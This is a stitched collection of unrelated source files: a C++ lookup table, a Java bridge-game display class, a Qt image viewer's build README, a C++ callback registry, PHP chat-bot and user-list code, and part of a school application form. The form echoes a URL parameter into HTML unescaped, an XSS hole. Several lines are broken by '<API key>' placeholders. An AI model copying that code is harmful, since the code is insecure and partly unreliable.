6.54032,6.53335,6.52639,6.51944,6.51251,6.50559,6.49867,6.49177,6.48488,
6.478,6.47113,6.46427,6.45742,6.45059,6.44376,6.43695,6.43014,6.42335,
6.41657,6.4098,6.40304,6.39629,6.38955,6.38282,6.3761,6.36939,6.36269,
6.35601,6.34933,6.34266,6.33601,6.32936,6.32273,6.3161,6.30949,6.30289,
6.29629,6.28971,6.28314,6.27658,6.27002,6.26348,6.25695,6.25043,6.24392,
6.23742,6.23093,6.22445,6.21798,6.21152,6.20507,6.19862,6.19219,6.18577,
6.17936,6.17296,6.16657,6.16019,6.15382,6.14746,6.14111,6.13477,6.12844,
6.12211,6.1158,6.1095,6.10321,6.09692,6.09065,6.08439,6.07813,6.07189,
6.06565,6.05943,6.05321,6.04701,6.04081,6.03462,6.02845,6.02228,6.01612,
6.00997,6.00383,5.9977,5.99158,5.98547,5.97937,5.97327,5.96719,5.96111,
5.95505,5.94899,5.94295,5.93691,5.93088,5.92486,5.91885,5.91285,5.90686,
5.90087,5.8949,5.88894,5.88298,5.87703,5.8711,5.86517,5.85925,5.85334,
5.84744,5.84154,5.83566,5.82978,5.82392,5.81806,5.81221,5.80637,5.80054,
5.79472,5.7889,5.7831,5.7773,5.77152,5.76574,5.75997,5.75421,5.74845,
5.74271,5.73697,5.73125,5.72553,5.71982,5.71412,5.70842,5.70274,5.69706,
5.69139,5.68574,5.68008,5.67444,5.66881,5.66318,5.65757,5.65196,5.64636,
5.64076,5.63518,5.6296,5.62404,5.61848,5.61293,5.60738,5.60185,5.59632,
5.59081,5.5853,5.57979,5.5743,5.56881,5.56334,5.55787,5.55241,5.54695,
5.54151,5.53607,5.53064,5.52522,5.5198,5.5144,5.509,5.50361,5.49823,
5.49286,5.48749,5.48213,5.47678,5.47144,5.4661,5.46078,5.45546,5.45014,
5.44484,5.43954,5.43426,5.42898,5.4237,5.41844,5.41318,5.40793,5.40269,
5.39745,5.39223,5.38701,5.38179,5.37659,5.37139,5.3662,5.36102,5.35585,
5.35068,5.34552,5.34037,5.33522,5.33008,5.32496,5.31983,5.31472,5.30961,
5.30451,5.29942,5.29433,5.28925,5.28418,5.27912,5.27406,5.26901,5.26397,
5.25893,5.25391,5.24889,5.24387,5.23887,5.23387,5.22888,5.22389,5.21891,
5.21394,5.20898,5.20402,5.19907,5.19413,5.1892,5.18427,5.17935,5.17443,
5.16952,5.16462,5.15973,5.15484,5.14997,5.14509,5.14023,5.13537,5.13052,
5.12567,5.12083,5.116,5.11118,5.10636,5.10155,5.09674,5.09195,5.08716,
5.08237,5.0776,5.07283,5.06806,5.0633,5.05855,5.05381,5.04907,5.04434,
5.03962,5.0349,5.03019,5.02549,5.02079,5.0161,5.01142,5.00674,5.00207,
4.9974,4.99274,4.98809,4.98345,4.97881,4.97418,4.96955,4.96493,4.96032,
4.95571,4.95111,4.94652,4.94193,4.93735,4.93278,4.92821,4.92365,4.91909,
4.91454,4.91,4.90546,4.90093,4.89641,4.89189,4.88738,4.88287,4.87837,
4.87388,4.8694,4.86491,4.86044,4.85597,4.85151,4.84705,4.8426,4.83816,
4.83372,4.82929,4.82487,4.82045,4.81603,4.81163,4.80723,4.80283,4.79844,
4.79406,4.78968,4.78531,4.78094,4.77658,4.77223,4.76788,4.76354,4.75921,
4.75488,4.75055,4.74624,4.74192,4.73762,4.73332,4.72902,4.72474,4.72045,
4.71618,4.7119,4.70764,4.70338,4.69913,4.69488,4.69064,4.6864,4.68217,
4.67794,4.67372,4.66951,4.6653,4.6611,4.6569,4.65271,4.64853,4.64435,
4.64017,4.636,4.63184,4.62768,4.62353,4.61939,4.61525,4.61111,4.60698,
4.60286,4.59874,4.59463,4.59052,4.58642,4.58232,4.57823,4.57414,4.57006,
4.56599,4.56192,4.55786,4.5538,4.54975,4.5457,4.54166,4.53762,4.53359,
4.52956,4.52554,4.52153,4.51752,4.51351,4.50951,4.50552,4.50153,4.49755,
4.49357,4.4896,4.48563,4.48167,4.47771,4.47376,4.46981,4.46587,4.46193,
4.458,4.45408,4.45016,4.44624,4.44233,4.43843,4.43453,4.43063,4.42674,
4.42286,4.41898,4.4151,4.41123,4.40737,4.40351,4.39965,4.39581,4.39196,
4.38812,4.38429,4.38046,4.37664,4.37282,4.369,4.36519,4.36139,4.35759,
4.3538,4.35001,4.34622,4.34244,4.33867,4.3349,4.33113,4.32738,4.32362,
4.31987,4.31613,4.31238,4.30865,4.30492,4.30119,4.29747,4.29376,4.29005,
4.28634,4.28264,4.27894,4.27525,4.27156,4.26788,4.2642,4.26053,4.25686,
4.2532,4.24954,4.24588,4.24223,4.23859,4.23495,4.23131,4.22768,4.22406,
4.22044,4.21682,4.21321,4.2096,4.206,4.2024,4.1988,4.19522,4.19163,
4.18805,4.18448,4.18091,4.17734,4.17378,4.17022,4.16667,4.16312,4.15958,
4.15604,4.1525,4.14897,4.14545,4.14193,4.13841,4.1349,4.13139,4.12789,
4.12439,4.1209,4.11741,4.11392,4.11044,4.10696,4.10349,4.10002,4.09656,
4.0931,4.08965,4.0862,4.08275,4.07931,4.07587,4.07244,4.06901,4.06559,
4.06217,4.05875,4.05534,4.05193,4.04853,4.04513,4.04174,4.03835,4.03496,
4.03158,4.0282,4.02483,4.02146,4.0181,4.01474,4.01138,4.00803,4.00468,
4.00134,3.998,3.99467,3.99133,3.98801,3.98469,3.98137,3.97805,3.97474,
3.97144,3.96813,3.96484,3.96154,3.95825,3.95497,3.95169,3.94841,3.94514,
3.94187,3.9386,3.93534,3.93208,3.92883,3.92558,3.92234,3.9191,3.91586,
3.91263,3.9094,3.90617,3.90295,3.89973,3.89652,3.89331,3.89011,3.88691,
3.88371,3.88051,3.87733,3.87414,3.87096,3.86778,3.86461,3.86144,3.85827,
3.85511,3.85195,3.8488,3.84565,3.8425,3.83936,3.83622,3.83308,3.82995,
3.82683,3.8237,3.82058,3.81747,3.81435,3.81125,3.80814,3.80504,3.80194,
3.79885,3.79576,3.79268,3.78959,3.78652,3.78344,3.78037,3.7773,3.77424,
3.77118,3.76813,3.76507,3.76203,3.75898,3.75594,3.7529,3.74987,3.74684,
3.74381,3.74079,3.73777,3.73476,3.73175,3.72874,3.72573,3.72273,3.71974,
3.71674,3.71375,3.71077,3.70778,3.7048,3.70183,3.69886,3.69589,3.69292,
3.68996,3.68701,3.68405,3.6811,3.67815,3.67521,3.67227,3.66933,3.6664,
3.66347,3.66055,3.65762,3.6547,3.65179,3.64888,3.64597,3.64306,3.64016,
3.63726,3.63437,3.63148,3.62859,3.62571,3.62282,3.61995,3.61707,3.6142,
3.61134,3.60847,3.60561,3.60275,3.5999,3.59705,3.5942,3.59136,3.58852,
3.58568,3.58285,3.58002,3.57719,3.57437,3.57155,3.56873,3.56592,3.56311,
3.5603,3.5575,3.5547,3.5519,3.54911,3.54632,3.54353,3.54075,3.53797,
3.53519,3.53242,3.52965,3.52688,3.52412,3.52136,3.5186,3.51584,3.51309,
3.51035,3.5076,3.50486,3.50212,3.49939,3.49665,3.49393,3.4912,3.48848,
3.48576,3.48304,3.48033,3.47762,3.47491,3.47221,3.46951,3.46681,3.46412,
3.46143,3.45874,3.45606,3.45338,3.4507,3.44802,3.44535,3.44268,3.44002,
3.43735,3.43469,3.43204,3.42938,3.42673,3.42409,3.42144,3.4188,3.41616,
3.41353,3.4109,3.40827,3.40564,3.40302,3.4004,3.39778,3.39517,3.39256,
3.38995,3.38734,3.38474,3.38214,3.37955,3.37695,3.37436,3.37178,3.36919,
3.36661,3.36403,3.36146,3.35889,3.35632,3.35375,3.35119,3.34863,3.34607,
3.34352,3.34096,3.33842,3.33587,3.33333,3.33079,3.32825,3.32572,3.32319,
3.32066,3.31813,3.31561,3.31309,3.31057,3.30806,3.30555,3.30304,3.30053,
3.29803,3.29553,3.29303,3.29054,3.28805,3.28556,3.28307,3.28059,3.27811,
3.27563,3.27316,3.27069,3.26822,3.26575,3.26329,3.26083,3.25837,3.25592,
3.25347,3.25102,3.24857,3.24613,3.24368,3.24125,3.23881,3.23638,3.23395,
3.23152,3.2291,3.22667,3.22426,3.22184,3.21943,3.21701,3.21461,3.2122,
3.2098,3.2074,3.205,3.2026,3.20021,3.19782,3.19544,3.19305,3.19067,
3.18829,3.18592,3.18354,3.18117,3.1788,3.17644,3.17407,3.17171,3.16936,
3.167,3.16465,3.1623,3.15995,3.15761,3.15526,3.15293,3.15059,3.14825,
3.14592,3.14359,3.14127,3.13894,3.13662,3.1343,3.13199,3.12967,3.12736,
3.12505,3.12275,3.12044,3.11814,3.11585,3.11355,3.11126,3.10897,3.10668,
3.10439,3.10211,3.09983,3.09755,3.09527,3.093,3.09073,3.08846,3.0862,
3.08393,3.08167,3.07942,3.07716,3.07491,3.07266,3.07041,3.06816,3.06592,
3.06368,3.06144,3.0592,3.05697,3.05474,3.05251,3.05028,3.04806,3.04584,
3.04362,3.0414,3.03919,3.03698,3.03477,3.03256,3.03036,3.02815,3.02595,
3.02376,3.02156,3.01937,3.01718,3.01499,3.01281,3.01062,3.00844,3.00627,
3.00409,3.00192,2.99974,2.99758,2.99541,2.99325,2.99108,2.98892,2.98677,
2.98461,2.98246,2.98031,2.97816,2.97602,2.97387,2.97173,2.96959,2.96746,
2.96532,2.96319,2.96106,2.95894,2.95681,2.95469,2.95257,2.95045,2.94834,
2.94622,2.94411,2.942,2.9399,2.93779,2.93569,2.93359,2.93149,2.9294,
2.9273,2.92521,2.92312,2.92104,2.91895,2.91687,2.91479,2.91271,2.91064,
2.90857,2.9065,2.90443,2.90236,2.9003,2.89823,2.89617,2.89412,2.89206,
2.89001,2.88796,2.88591,2.88386,2.88182,2.87978,2.87773,2.8757,2.87366,
2.87163,2.8696,2.86757,2.86554,2.86351,2.86149,2.85947,2.85745,2.85544,
2.85342,2.85141,2.8494,2.84739,2.84538,2.84338,2.84138,2.83938,2.83738,
2.83539,2.83339,2.8314,2.82941,2.82743,2.82544,2.82346,2.82148,2.8195,
2.81752,2.81555,2.81358,2.81161,2.80964,2.80767,2.80571,2.80375,2.80179,
2.79983,2.79787,2.79592,2.79397,2.79202,2.79007,2.78812,2.78618,2.78424,
2.7823,2.78036,2.77843,2.77649,2.77456,2.77263,2.7707,2.76878,2.76685,
2.76493,2.76301,2.7611,2.75918,2.75727,2.75536,2.75345,2.75154,2.74963,
2.74773,2.74583,2.74393,2.74203,2.74013,2.73824,2.73635,2.73446,2.73257,
2.73069,2.7288,2.72692,2.72504,2.72316,2.72129,2.71941,2.71754,2.71567,
2.7138,2.71193,2.71007,2.70821,2.70634,2.70449,2.70263,2.70077,2.69892,
2.69707,2.69522,2.69337,2.69153,2.68968,2.68784,2.686,2.68416,2.68233,
2.68049,2.67866,2.67683,2.675,2.67318,2.67135,2.66953,2.66771,2.66589,
2.66407,2.66226,2.66044,2.65863,2.65682,2.65501,2.65321,2.6514,2.6496,
2.6478,2.646,2.6442,2.64241,2.64061,2.63882,2.63703,2.63524,2.63346,
2.63167,2.62989,2.62811,2.62633,2.62455,2.62278,2.621,2.61923,2.61746,
2.61569,2.61393,2.61216,2.6104,2.60864,2.60688,2.60512,2.60337,2.60161,
2.59986,2.59811,2.59636,2.59462,2.59287,2.59113,2.58939,2.58765,2.58591,
2.58417,2.58244,2.5807,2.57897,2.57724,2.57552,2.57379,2.57207,2.57034,
2.56862,2.5669,2.56519,2.56347,2.56176,2.56005,2.55834,2.55663,2.55492,
2.55322,2.55151,2.54981,2.54811,2.54641,2.54471,2.54302,2.54133,2.53963,
2.53794,2.53626,2.53457
};
int i = int(kf);
double x = kf-i;
if(i>2999)
return 2;//or maybe tablica_Mef[2999];
else
return MEF[i]*(1-x) + MEF[i+1]*x;
}
|
package org.gnubridge.presentation.gui;
import java.awt.Point;
import org.gnubridge.core.Card;
import org.gnubridge.core.Direction;
import org.gnubridge.core.East;
import org.gnubridge.core.Deal;
import org.gnubridge.core.Hand;
import org.gnubridge.core.North;
import org.gnubridge.core.South;
import org.gnubridge.core.West;
import org.gnubridge.core.deck.Suit;
public class OneColumnPerColor extends HandDisplay {
public OneColumnPerColor(Direction human, Direction player, Deal game, CardPanelHost owner) {
super(human, player, game, owner);
}
final static int CARD_OFFSET = 30;
@Override
public void display() {
dispose(cards);
Hand hand = new Hand(game.getPlayer(player).getHand());
Point upperLeft = calculateUpperLeft(human, player);
for (Suit color : Suit.list) {
int j = 0;
for (Card card : hand.getSuitHi2Low(color)) {
CardPanel cardPanel = new CardPanel(card);
cards.add(cardPanel);
if (human.equals(South.i())) {
cardPanel.setPlayable(true);
}
owner.addCard(cardPanel);
cardPanel.setLocation((int) upperLeft.getX(), (int) upperLeft.getY() + CARD_OFFSET * j);
j++;
}
upperLeft.setLocation(upperLeft.getX() + CardPanel.IMAGE_WIDTH + 2, upperLeft.getY());
}
}
private Point calculateUpperLeft(Direction human, Direction player) {
Direction slot = new HumanAlwaysOnBottom(human).mapRelativeTo(player);
if (North.i().equals(slot)) {
return new Point(235, 5);
} else if (West.i().equals(slot)) {
return new Point(3, owner.getTotalHeight() - 500);
} else if (East.i().equals(slot)) {
return new Point(512, owner.getTotalHeight() - 500);
} else if (South.i().equals(slot)) {
return new Point(235, owner.getTableBottom() + 1);
}
throw new RuntimeException("unknown direction");
}
}
|
Berry
Berry is multiplatform and modern image viewer, focused on better user interface...
How to Compile
# Install dependencies
Install gcc, g++, libexiv2, Qt5Core, Qt5DBus, Qt5Gui, Qt5Multimedia, <API key>, Qt5Network, Qt5PrintSupport, Qt5Qml, Qt5Quick, Qt5Sql, Qt5Svg, and Qt5Widgets.
on Ubuntu:
sudo apt-get install g++ gcc libexiv2-dev qtbase5-dev libqt5sql5-sqlite <API key> <API key> libqt5multimedia5 libqt5qml5 <API key> <API key> qtdeclarative5-dev libqt5quick5
For other distributions search for the corresponding packages.
# Get source code from git repository
If you want get source from git repository you should install git on your system:
sudo apt-get install git
After git installed, get code with this command:
git clone https://github.com/Aseman-Land/Berry.git
# Start building
Switch to source directory
cd berry
## Ubuntu
mkdir build && cd build
qmake -r ..
make
You can use command below after building to clean build directory on the each step.
make clean
|
// Version 3), copied verbatim in the file "COPYING".
// granted to it by virtue of its status as an Intergovernmental Organization
// or submit itself to any jurisdiction.
#ifndef <API key>
#define <API key>
@file CallbackRegistry.h
@author Matthias Richter
@since 2018-04-26
@brief A generic registry for callbacks
#include "Framework/TypeTraits.h"
#include <tuple>
#include <stdexcept> // runtime_error
#include <utility> // declval
namespace o2
{
namespace framework
{
template <typename KeyT, KeyT _id, typename CallbackT>
struct RegistryPair {
using id = std::integral_constant<KeyT, _id>;
using type = CallbackT;
type callback;
};
template <typename CallbackId, typename... Args>
class CallbackRegistry
{
public:
// FIXME:
// - add more checks
// - recursive check of the argument pack
// - required to be of type RegistryPair
// - callback type is specialization of std::function
// - extend to variable return type
static constexpr std::size_t size = sizeof...(Args);
// set callback for slot
template <typename U>
void set(CallbackId id, U&& cb)
{
set<size>(id, cb);
}
// execute callback at specified slot with argument pack
template <typename... TArgs>
auto operator()(CallbackId id, TArgs&&... args)
{
exec<size>(id, std::forward<TArgs>(args)...);
}
private:
// helper trait to check whether class has a constructor taking callback as argument
template <class T, typename CB>
struct <API key> {
template <class U, typename V>
static int check(decltype(U(std::declval<V>()))*);
template <typename U, typename V>
static char check(...);
static const bool value = sizeof(check<T, CB>(nullptr)) == sizeof(int);
};
// set the callback function of the specified id
// this iterates over defined slots and sets the matching callback
template <std::size_t pos, typename U>
typename std::enable_if<pos != 0>::type set(CallbackId id, U&& cb)
{
if (std::tuple_element<pos - 1, decltype(mStore)>::type::id::value != id) {
return set<pos - 1>(id, cb);
}
// note: there are two substitutions, the one for callback matching the slot type sets the
// callback, while the other substitution should never be called
setAt<pos - 1, typename std::tuple_element<pos - 1, decltype(mStore)>::type::type>(cb);
}
// termination of the recursive loop
template <std::size_t pos, typename U>
typename std::enable_if<pos == 0>::type set(CallbackId id, U&& cb)
{
}
// set the callback at specified slot position
template <std::size_t pos, typename U, typename F>
typename std::enable_if<<API key><U, F>::value == true>::type setAt(F&& cb)
{
// create a new std::function object and init with the callback function
std::get<pos>(mStore).callback = (U)(cb);
}
// substitution for not matching callback
template <std::size_t pos, typename U, typename F>
typename std::enable_if<<API key><U, F>::value == false>::type setAt(F&& cb)
{
throw std::runtime_error("mismatch in function substitution at position " + std::to_string(pos));
}
// exec callback of specified id
template <std::size_t pos, typename... TArgs>
typename std::enable_if<pos != 0>::type exec(CallbackId id, TArgs&&... args)
{
if (std::tuple_element<pos - 1, decltype(mStore)>::type::id::value != id) {
return exec<pos - 1>(id, std::forward<TArgs>(args)...);
}
// build a callable function type from the result type of the slot and the
// argument pack, this is used to selcet the matching substitution
using FunT = typename std::tuple_element<pos - 1, decltype(mStore)>::type::type;
using ResT = typename FunT::result_type;
using CheckT = std::function<ResT(TArgs...)>;
FunT& fct = std::get<pos - 1>(mStore).callback;
auto& storedTypeId = fct.target_type();
execAt<pos - 1, FunT, CheckT>(std::forward<TArgs>(args)...);
}
// termination of the recursive loop
template <std::size_t pos, typename... TArgs>
typename std::enable_if<pos == 0>::type exec(CallbackId id, TArgs&&... args)
{
}
// exec callback at specified slot
template <std::size_t pos, typename U, typename V, typename... TArgs>
typename std::enable_if<std::is_same<U, V>::value == true>::type execAt(TArgs&&... args)
{
if (std::get<pos>(mStore).callback) {
std::get<pos>(mStore).callback(std::forward<TArgs>(args)...);
}
}
// substitution for not matching argument pack
template <std::size_t pos, typename U, typename V, typename... TArgs>
typename std::enable_if<std::is_same<U, V>::value == false>::type execAt(TArgs&&... args)
{
}
// store of RegistryPairs
std::tuple<Args...> mStore;
};
} // namespace framework
} // namespace o2
#endif // <API key>
|
<b>Users Currently Logged In</b>
<ul>
<?php if (!empty($currentUsers)):foreach($currentUsers as $u):?>
<li>
<?php echo $u->getFullName();?>
</li>
<?php endforeach;endif;?>
</ul>
|
<?php
require_once(dirname(__FILE__).'/PushConnection.php');
define ('FORMAT_NONE', 0x00);
define ('FORMAT_BOLD_TEXT', 0x01);
define ('FORMAT_ITALIC_TEXT', 0x02);
define ('<API key>', 0x04);
define ('FORMAT_NEW_LINE', 0x08);
define ('IMG_FILE', true);
define ('IMG_RAW', false);
define('BOTAPI_VERSION', 'GGBotApi-2.4-PHP');
require_once(dirname(__FILE__).'/PushConnection.php');
class MessageBuilder
{
public $recipientNumbers=array();
public $sendToOffline=true;
public $html='';
public $text='';
public $format='';
public $R=0;
public $G=0;
public $B=0;
/**
* Konstruktor MessageBuilder
*/
public function __construct()
{
}
public function clear()
{
$this->recipientNumbers=array();
$this->sendToOffline=true;
$this->html='';
$this->text='';
$this->format='';
$this->R=0;
$this->G=0;
$this->B=0;
}
public function addText($text, $formatBits=FORMAT_NONE, $R=0, $G=0, $B=0)
{
if ($formatBits & FORMAT_NEW_LINE)
$text.="\r\n";
$text=str_replace("\r\r", "\r", str_replace("\n", "\r\n", $text));
$html=str_replace("\r\n", '<br>', htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'));
if ($this->format!==NULL) {
$this->format.=pack(
'vC',
mb_strlen($this->text, 'UTF-8'),
(($formatBits & FORMAT_BOLD_TEXT)) |
(($formatBits & FORMAT_ITALIC_TEXT)) |
(($formatBits & <API key>)) |
((1 || $R!=$this->R || $G!=$this->G || $B!=$this->B) * 0x08)
);
$this->format.=pack('CCC', $R, $G, $B);
$this->R=$R;
$this->G=$G;
$this->B=$B;
$this->text.=$text;
}
if ($R || $G || $B) $html='<span style="color:#'.str_pad(dechex($R), 2, '0', STR_PAD_LEFT).str_pad(dechex($G), 2, '0', STR_PAD_LEFT).str_pad(dechex($B), 2, '0', STR_PAD_LEFT).';">'.$html.'</span>';
if ($formatBits & FORMAT_BOLD_TEXT) $html='<b>'.$html.'</b>';
if ($formatBits & FORMAT_ITALIC_TEXT) $html='<i>'.$html.'</i>';
if ($formatBits & <API key>) $html='<u>'.$html.'</u>';
$this->html.=$html;
return $this;
}
public function addBBcode($bbcode)
{
$tagsLength=0;
$heap=array();
$start=0;
$bbcode=str_replace('[br]', "\n", $bbcode);
while (preg_match('/\[(\/)?(b|i|u|color)(=#?[0-9a-fA-F]{6})?\]/', $bbcode, $out, PREG_OFFSET_CAPTURE, $start)) {
$s=substr($bbcode, $start, $out[0][1]-$start);
$c=array(0, 0, 0);
if (strlen($s)) {
$flags=0;
$c=array(0, 0, 0);
foreach ($heap as $h) {
switch ($h[0]) {
case 'b': { $flags|=0x01; break; }
case 'i': { $flags|=0x02; break; }
case 'u': { $flags|=0x04; break; }
case 'color': { $c=$h[1]; break; }
}
}
$this->addText($s, $flags, $c[0], $c[1], $c[2]);
}
$start=$out[0][1]+strlen($out[0][0]);
if ($out[1][0]=='') {
switch ($out[2][0]) {
case 'b':
case 'i':
case 'u': {
array_push($heap, array($out[2][0]));
break;
}
case 'color': {
$c=hexdec(substr($out[3][0], -6, 6));
$c=array(
($c >> 16) & 0xFF,
($c >> 8) & 0xFF,
($c >> 0) & 0xFF
);
array_push($heap, array('color', $c));
break;
}
}
$tagsLength+=strlen($out[0][0]);
} else {
array_pop($heap);
$tagsLength+=strlen($out[0][0]);
}
}
$s=substr($bbcode, $start);
if (strlen($s))
$this->addText($s);
return $this;
}
public function addRawHtml($html)
{
$this->html.=$html;
return $this;
}
public function setRawHtml($html)
{
$this->html=$html;
return $this;
}
public function setAlternativeText($message)
{
$this->format=NULL;
$this->text=$message;
return $this;
}
public function addImage($fileName, $isFile=IMG_FILE)
{
if ($isFile==IMG_FILE)
$fileName=file_get_contents($fileName);
$crc=crc32($fileName);
$hash=sprintf('%08x%08x', $crc, strlen($fileName));
if (empty(PushConnection::$lastAuthorization))
throw new Exception('Użyj klasy PushConnection');
$P=new PushConnection();
if (!$P->existsImage($hash))
if (!$P->putImage($fileName))
throw new Exception('Nie udało się wysłać obrazka');
$this->format.=pack('vCCCVV', strlen($this->text), 0x80, 0x09, 0x01, strlen($fileName), $crc);
$this->addRawHtml('<img name="'.$hash.'">');
return $this;
}
public function setRecipients($recipientNumbers)
{
$this->recipientNumbers=(array) $recipientNumbers;
return $this;
}
public function setSendToOffline($sendToOffline)
{
$this->sendToOffline=$sendToOffline;
return $this;
}
public function getProtocolMessage()
{
if (preg_match('/^<span[^>]*>.+<\/span>$/s', $this->html, $o)) {
if ($o[0]!=$this->html)
$this->html='<span style="color:#000000; font-family:\'MS Shell Dlg 2\'; font-size:9pt; ">'.$this->html.'</span>';
} else
$this->html='<span style="color:#000000; font-family:\'MS Shell Dlg 2\'; font-size:9pt; ">'.$this->html.'</span>';
$s=pack('VVVV', strlen($this->html)+1, strlen($this->text)+1, 0, ((empty($this->format)) ? 0 : strlen($this->format)+3)).$this->html."\0".$this->text."\0".((empty($this->format)) ? '' : pack('Cv', 0x02, strlen($this->format)).$this->format);
return $s;
}
public function reply()
{
if (sizeof($this->recipientNumbers))
header('To: '.join(',', $this->recipientNumbers));
if (!$this->sendToOffline)
header('Send-to-offline: 0');
header('BotApi-Version: '.BOTAPI_VERSION);
echo $this->getProtocolMessage();
}
}
|
<?php
@session_start() ;
$proceed=FALSE ;
$public=FALSE ;
if (isset($_SESSION[$guid]["username"])==FALSE) {
$public=TRUE ;
//Get public access
$publicApplications=getSettingByScope($connection2, 'Application Form', 'publicApplications') ;
if ($publicApplications=="Y") {
$proceed=TRUE ;
}
}
else {
if (isActionAccessible($guid, $connection2, "/modules/Application Form/applicationForm.php")!=FALSE) {
$proceed=TRUE ;
}
}
//Set gibbonPersonID of the person completing the application
$gibbonPersonID=NULL ;
if (isset($_SESSION[$guid]["gibbonPersonID"])) {
$gibbonPersonID=$_SESSION[$guid]["gibbonPersonID"] ;
}
if ($proceed==FALSE) {
//Acess denied
print "<div class='error'>" ;
print _("You do not have access to this action.") ;
print "</div>" ;
}
else {
//Proceed!
print "<div class='trail'>" ;
if (isset($_SESSION[$guid]["username"])) {
print "<div class='trailHead'><a href='" . $_SESSION[$guid]["absoluteURL"] . "'>" . _("Home") . "</a> > <a href='" . $_SESSION[$guid]["absoluteURL"] . "/index.php?q=/modules/" . getModuleName($_GET["q"]) . "/" . getModuleEntry($_GET["q"], $connection2, $guid) . "'>" . _(getModuleName($_GET["q"])) . "</a> > </div><div class='trailEnd'>" . $_SESSION[$guid]["<API key>"] . " " . _('Application Form') . "</div>" ;
}
else {
print "<div class='trailHead'><a href='" . $_SESSION[$guid]["absoluteURL"] . "'>" . _("Home") . "</a> > </div><div class='trailEnd'>" . $_SESSION[$guid]["<API key>"] . " " . _('Application Form') . "</div>" ;
}
print "</div>" ;
//Get intro
$intro=getSettingByScope($connection2, 'Application Form', 'introduction') ;
if ($intro!="") {
print "<p>" ;
print $intro ;
print "</p>" ;
}
if (isset($_SESSION[$guid]["username"])==false) {
if ($intro!="") {
print "<br/><br/>" ;
}
print "<p style='font-weight: bold; text-decoration: none; color: #c00'><i><u>" . sprintf(_('If you have an %1$s %2$s account, please log in now to prevent creation of duplicate data about you! Once logged in, you can find the form under People > Data in the main menu.'), $_SESSION[$guid]["<API key>"], $_SESSION[$guid]["systemName"]) . "</u></i> " . sprintf(_('If you do not have an %1$s %2$s account, please use the form below.'), $_SESSION[$guid]["<API key>"], $_SESSION[$guid]["systemName"]) . "</p>" ;
}
if (isset($_GET["addReturn"])) { $addReturn=$_GET["addReturn"] ; } else { $addReturn="" ; }
$addReturnMessage="" ;
$class="error" ;
if (!($addReturn=="")) {
if ($addReturn=="fail0") {
$addReturnMessage=_("Your request failed because you do not have access to this action.") ;
}
else if ($addReturn=="fail2") {
$addReturnMessage=_("Your request failed due to a database error.") ;
}
else if ($addReturn=="fail3") {
$addReturnMessage=_("Your request failed because your inputs were invalid.") ;
}
else if ($addReturn=="fail4") {
$addReturnMessage=_("Your request failed because your inputs were invalid.") ;
}
else if ($addReturn=="success0" OR $addReturn=="success1" OR $addReturn=="success2" OR $addReturn=="success4") {
if ($addReturn=="success0") {
$addReturnMessage=_("Your application was successfully submitted. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success1") {
$addReturnMessage=_("Your application was successfully submitted and payment has been made to your credit card. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success2") {
$addReturnMessage=_("Your application was successfully submitted, but payment could not be made to your credit card. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success3") {
$addReturnMessage=_("Your application was successfully submitted, payment has been made to your credit card, but there has been an error recording your payment. Please print this screen and contact the school ASAP. Our admissions team will review your application and be in touch in due course.") ;
}
else if ($addReturn=="success4") {
$addReturnMessage=_("Your application was successfully submitted, but payment could not be made as the payment gateway does not support the system's currency. Our admissions team will review your application and be in touch in due course.") ;
}
if (isset($_GET["id"])) {
if ($_GET["id"]!="") {
$addReturnMessage=$addReturnMessage . "<br/><br/>" . _('If you need to contact the school in reference to this application, please quote the following number:') . " <b><u>" . $_GET["id"] . "</b></u>." ;
}
}
if ($_SESSION[$guid]["<API key>"]!="" AND $_SESSION[$guid]["<API key>"]!="") {
$addReturnMessage=$addReturnMessage . "<br/><br/>Please contact <a href='mailto:" . $_SESSION[$guid]["<API key>"] . "'>" . $_SESSION[$guid]["<API key>"] . "</a> if you have any questions, comments or complaints." ;
}
$class="success" ;
}
print "<div class='$class'>" ;
print $addReturnMessage;
print "</div>" ;
}
$currency=getSettingByScope($connection2, "System", "currency") ;
$applicationFee=getSettingByScope($connection2, "Application Form", "applicationFee") ;
$enablePayments=getSettingByScope($connection2, "System", "enablePayments") ;
$paypalAPIUsername=getSettingByScope($connection2, "System", "paypalAPIUsername") ;
$paypalAPI<API key>($connection2, "System", "paypalAPIPassword") ;
$paypalAPISignature=getSettingByScope($connection2, "System", "paypalAPISignature") ;
if ($applicationFee>0 AND is_numeric($applicationFee)) {
print "<div class='warning'>" ;
print _("Please note that there is an application fee of:") . " <b><u>" . $currency . $applicationFee . "</u></b>." ;
if ($enablePayments=="Y" AND $paypalAPIUsername!="" AND $paypalAPIPassword!="" AND $paypalAPISignature!="") {
print " " . _('Payment must be made by credit card, using our secure PayPal payment gateway. When you press Submit at the end of this form, you will be directed to PayPal in order to make payment. During this process we do not see or store your credit card details.') ;
}
print "</div>" ;
}
?>
<form method="post" action="<?php print $_SESSION[$guid]["absoluteURL"] . "/modules/" . $_SESSION[$guid]["module"] . "/<API key>.php" ?>" enctype="multipart/form-data">
<table class='smallIntBorder' cellspacing='0' style="width: 100%">
<tr class='break'>
<td colspan=2>
<h3><?php print _('Student') ?></h3>
</td>
</tr>
<tr>
<td colspan=2>
<h4><?php print _('Student Personal Data') ?></h4>
</td>
</tr>
<tr>
<td style='width: 275px'>
<b><?php print _('Surname') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="surname" id="surname" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var surname=new LiveValidation('surname');
surname.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('First Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('First name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="firstName" id="firstName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var firstName=new LiveValidation('firstName');
firstName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Preferred Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input name="preferredName" id="preferredName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var preferredName=new LiveValidation('preferredName');
preferredName.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Official Name') ?> *</b><br/>
